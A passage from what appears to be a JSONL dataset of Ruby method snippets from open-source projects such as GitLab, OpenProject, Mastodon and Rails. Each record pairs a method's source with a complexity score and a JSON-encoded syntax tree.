end","complexity_score":83.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"update_status_on_new_mr\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"update_status_on_merged\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"wp_status_id_on_new_mr\",{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"lvasgn\",\"children\":[\"wp_status_id_on_merged\",{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"lvasgn\",\"children\":[\"accepted_actions\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"open\"]},{\"type\":\"str\",\"children\":[\"update\"]},{\"type\":\"str\",\"children\":[\"reopen\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"accepted_actions_for_comments\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"open\"]},{\"type\":\"str\",\"children\":[\"reopen\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"accepted_states\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"closed\"]},{\"type\":\"str\",\"children\":[\"merged\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@payload\",{\"type\":\"send\",\"children\":[null,\"wrap_payload\",{\"type\":\"lvar\",\"children\":[\"payload_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_actions\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"object_attributes\"]},\"action\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_states\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"object_attributes\"]},\"state\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"open_project_user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"object_attributes\"]},\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"object_attributes\"]},\"description\"]}]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"present?\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" - \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"work_packages\",{\"type\":\"send\",\"children\":[null,\"find_mentioned_work_packages\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"notes\",{\"type\":\"send\",\"children\":[null,\"generate_notes\",{\"type\":\"send\",\"children\":[null,\"payload\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_actions_for_comments\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"object_attributes\"]},\"action\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_states\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"object_attributes\"]},\"state\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comment_on_referenced_work_packages\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"notes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"object_attributes\"]},\"state\"]},\"==\",{\"type\":\"str\",\"children\":[\"opened\"]}]},{\"type\":\"lvar\",\"children\":[\"update_status_on_new_mr\"]}]},{\"type\":\"send\",\"children\":[null,\"status_on_referenced_work_packages\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"wp_status_id_on_new_mr\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"object_attributes\"]},\"state\"]},\"==\",{\"type\":\"str\",\"children\":[\"merged\"]}]},{\"type\":\"lvar\",\"children\":[\"update_status_on_merged\"]}]},{\"type\":\"send\",\"children\":[null,\"status_on_referenced_work_packages\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"wp_status_id_on_merged\"]}]},null]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"upsert_merge_request\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]}]}]}]}","id":"b4843398-fe83-42e3-ab67-cee0dc701e28"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/keys_finder.rb","start_line":58,"raw_source":"def by_created_after(keys)\n    return keys unless params[:created_after]\n\n    keys.created_after(params[:created_after])\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"by_created_after\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_after\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"created_after\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_after\"]}]}]}]}]}","id":"100ae6fe-cc85-4a9e-9649-906771d787b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/object_storage/direct_upload.rb","start_line":28,"raw_source":"def initialize(config, object_name, has_length:, maximum_size: nil, skip_delete: false)\n      unless has_length\n        raise ArgumentError, 'maximum_size has to be specified if length is unknown' unless maximum_size\n      end\n\n      @config = config\n      @credentials = config.credentials\n      @bucket_name = config.bucket\n      @object_name = object_name\n      @has_length = has_length\n      @maximum_size = maximum_size\n      @skip_delete = skip_delete\n    end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"object_name\"]},{\"type\":\"kwarg\",\"children\":[\"has_length\"]},{\"type\":\"kwoptarg\",\"children\":[\"maximum_size\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"skip_delete\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_length\"]},null,{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"maximum_size\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"maximum_size has to be specified if length is unknown\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@credentials\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"credentials\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bucket_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"bucket\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@object_name\",{\"type\":\"lvar\",\"children\":[\"object_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@has_length\",{\"type\":\"lvar\",\"children\":[\"has_length\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@maximum_size\",{\"type\":\"lvar\",\"children\":[\"maximum_size\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@skip_delete\",{\"type\":\"lvar\",\"children\":[\"skip_delete\"]}]}]}]}","id":"77781e9b-63c8-4dd4-9ea9-3531e3be2fe2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/members/members/members_with_parents.rb","start_line":97,"raw_source":"def smallest_value_arel(args, column_alias)\n      Arel::Nodes::As.new(\n        Arel::Nodes::NamedFunction.new('LEAST', args),\n        Arel::Nodes::SqlLiteral.new(column_alias))\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"smallest_value_arel\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"column_alias\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"As\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"NamedFunction\"]},\"new\",{\"type\":\"str\",\"children\":[\"LEAST\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"SqlLiteral\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"column_alias\"]}]}]}]}","id":"0940c3dd-d9e8-4bcc-b498-9917c73e26b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/users/group_callouts_helper.rb","start_line":8,"raw_source":"def show_invite_banner?(group)\n      Ability.allowed?(current_user, :invite_group_members, group) &&\n        !just_created? &&\n        !user_dismissed_for_group(INVITE_MEMBERS_BANNER, group) &&\n        !multiple_members?(group)\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"show_invite_banner?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"invite_group_members\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"just_created?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_dismissed_for_group\",{\"type\":\"const\",\"children\":[null,\"INVITE_MEMBERS_BANNER\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"multiple_members?\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},\"!\"]}]}]}","id":"73dd9ea4-e1fc-4a4a-81d5-60e598b344d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/atlassian/token_refresher.rb","start_line":32,"raw_source":"def refresh_if_needed!\n          refresh! if needs_refresh?\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_if_needed!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"needs_refresh?\"]},{\"type\":\"send\",\"children\":[null,\"refresh!\"]},null]}]}","id":"3755d889-3c4a-4a31-9abd-adffabce46ac"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/journal_formatter/time_entry_hours.rb","start_line":30,"raw_source":"def render(_key, values, options = { html: true })\n    label_text = I18n.t(:label_spent_time)\n    label_text << \":\" if !values.first\n    label_text = content_tag(:strong, label_text) if options[:html]\n\n    value = value(options[:html], values.first, values.last)\n\n    I18n.t(:text_journal_of, label: label_text, value:)\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_key\"]},{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label_text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_spent_time\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_text\"]},\"<<\",{\"type\":\"str\",\"children\":[\":\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"html\"]}]},{\"type\":\"lvasgn\",\"children\":[\"label_text\",{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"strong\"]},{\"type\":\"lvar\",\"children\":[\"label_text\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"last\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"text_journal_of\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"label_text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]}","id":"f0b947f3-166c-4255-8f3f-96d9670682b8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/accounts_controller.rb","start_line":79,"raw_source":"def unmute\n    UnmuteService.new.call(current_user.account, @account)\n    render json: @account, serializer: REST::RelationshipSerializer, relationships: relationships\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unmute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UnmuteService\"]},\"new\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"account\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"RelationshipSerializer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relationships\"]},{\"type\":\"send\",\"children\":[null,\"relationships\"]}]}]}]}]}]}","id":"ab4ade68-0226-4930-98fe-f4442560a079"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/locking_test.rb","start_line":969,"raw_source":"def test_custom_relation_lock_when_preventing_writes\n    ActiveRecord::Base.while_preventing_writes do\n      assert_raises(ActiveRecord::ReadOnlyError) do\n        Person.lock(CUSTOM_LOCK).find_by id: 1\n      end\n    end\n  end","complexity_score":7.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_custom_relation_lock_when_preventing_writes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"while_preventing_writes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ReadOnlyError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"lock\",{\"type\":\"const\",\"children\":[null,\"CUSTOM_LOCK\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"a780451f-be41-44fb-bcc4-93a2245677b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/import/github_groups_controller.rb","start_line":40,"raw_source":"def pagination_options\n      {\n        page: [1, pagination_params[:page].to_i].max,\n        per_page: PAGE_LENGTH\n      }\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pagination_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]},\"to_i\"]}]},\"max\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"const\",\"children\":[null,\"PAGE_LENGTH\"]}]}]}]}","id":"0253b521-fa2a-485a-939d-2c6283647d2a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/shared/any_user_name_attribute_filter.rb","start_line":58,"raw_source":"def sql_concat_name\n      fields = <<~SQL.squish\n        users.firstname, ' ', users.lastname,\n        ' ',\n        users.lastname, ' ', users.firstname,\n        ' ',\n        users.login\n      SQL\n\n      fields << \", ' ',users.mail\" if email_field_allowed?\n\n      <<~SQL.squish\n        LOWER(CONCAT(#{fields}))\n      SQL\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"sql_concat_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"users.firstname, ' ', users.lastname,\\n\"]},{\"type\":\"str\",\"children\":[\"' ',\\n\"]},{\"type\":\"str\",\"children\":[\"users.lastname, ' ', users.firstname,\\n\"]},{\"type\":\"str\",\"children\":[\"' ',\\n\"]},{\"type\":\"str\",\"children\":[\"users.login\\n\"]}]},\"squish\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_field_allowed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"<<\",{\"type\":\"str\",\"children\":[\", ' ',users.mail\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"LOWER(CONCAT(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]}]},{\"type\":\"str\",\"children\":[\"))\\n\"]}]},\"squish\"]}]}]}","id":"580935cf-4cce-473c-a08d-a565a7576cc3"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/notify_service.rb","start_line":308,"raw_source":"def always_send_emails?\n    @recipient.user.settings.always_send_emails\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"always_send_emails?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recipient\"]},\"user\"]},\"settings\"]},\"always_send_emails\"]}]}","id":"2c0c707f-ca81-4298-9344-9d451cf62990"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/time_profile.rb","start_line":26,"raw_source":"def self.seed\n    default_time_profile || create!(\n      :description          => DEFAULT_TZ,\n      :tz                   => DEFAULT_TZ,\n      :profile_type         => \"global\",\n      :rollup_daily_metrics => true\n    ) do |_|\n      _log.info(\"Creating global time profile\")\n    end\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"seed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_time_profile\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_TZ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tz\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_TZ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile_type\"]},{\"type\":\"str\",\"children\":[\"global\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rollup_daily_metrics\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"str\",\"children\":[\"Creating global time profile\"]}]}]}]}]}","id":"3d5461f4-6c19-4ee9-abe3-941fb1b8dbcb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/profiles/two_factor_auths_controller.rb","start_line":222,"raw_source":"def webauthn_options\n    WebAuthn::Credential.options_for_create(\n      user: { id: current_user.webauthn_xid, name: current_user.username },\n      exclude: current_user.second_factor_webauthn_registrations.map(&:credential_xid),\n      authenticator_selection: { user_verification: 'discouraged' },\n      rp: { name: 'GitLab' }\n    )\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"webauthn_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebAuthn\"]},\"Credential\"]},\"options_for_create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"webauthn_xid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"username\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exclude\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"second_factor_webauthn_registrations\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"credential_xid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"authenticator_selection\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_verification\"]},{\"type\":\"str\",\"children\":[\"discouraged\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rp\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"GitLab\"]}]}]}]}]}]}]}","id":"1e59fdaa-b73e-4bb6-9022-d295819595a1"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/connect_api/provisioning/provisioning_client_spec.rb","start_line":17,"raw_source":"def test_request_params(url, params)\n      req_mock = double\n      options_mock = double\n\n      allow(req_mock).to receive(:headers).and_return({})\n\n      expect(req_mock).to receive(:url).with(url)\n      expect(req_mock).to receive(:params=).with(params)\n      expect(req_mock).to receive(:options).and_return(options_mock)\n      expect(options_mock).to receive(:params_encoder=).with(Faraday::NestedParamsEncoder)\n\n      return req_mock\n    end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_request_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req_mock\",{\"type\":\"send\",\"children\":[null,\"double\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options_mock\",{\"type\":\"send\",\"children\":[null,\"double\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"req_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"headers\"]}]},\"and_return\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"req_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"url\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"req_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"params=\"]}]},\"with\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"req_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"options\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"options_mock\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"options_mock\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"params_encoder=\"]}]},\"with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faraday\"]},\"NestedParamsEncoder\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_mock\"]}]}]}]}","id":"9829ca7c-ebee-42a5-ac56-f7241ae864ba"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/location_search/geocoding_service.rb","start_line":59,"raw_source":"def deduplicate_results(results)\n      deduplicated = []\n\n      results.each do |result|\n        # Check if there's already a result within 100m\n        duplicate = deduplicated.find do |existing|\n          distance = calculate_distance_in_meters(\n            result[:lat], result[:lon],\n            existing[:lat], existing[:lon]\n          )\n          distance < 100 # meters\n        end\n\n        deduplicated << result unless duplicate\n      end\n\n      deduplicated\n    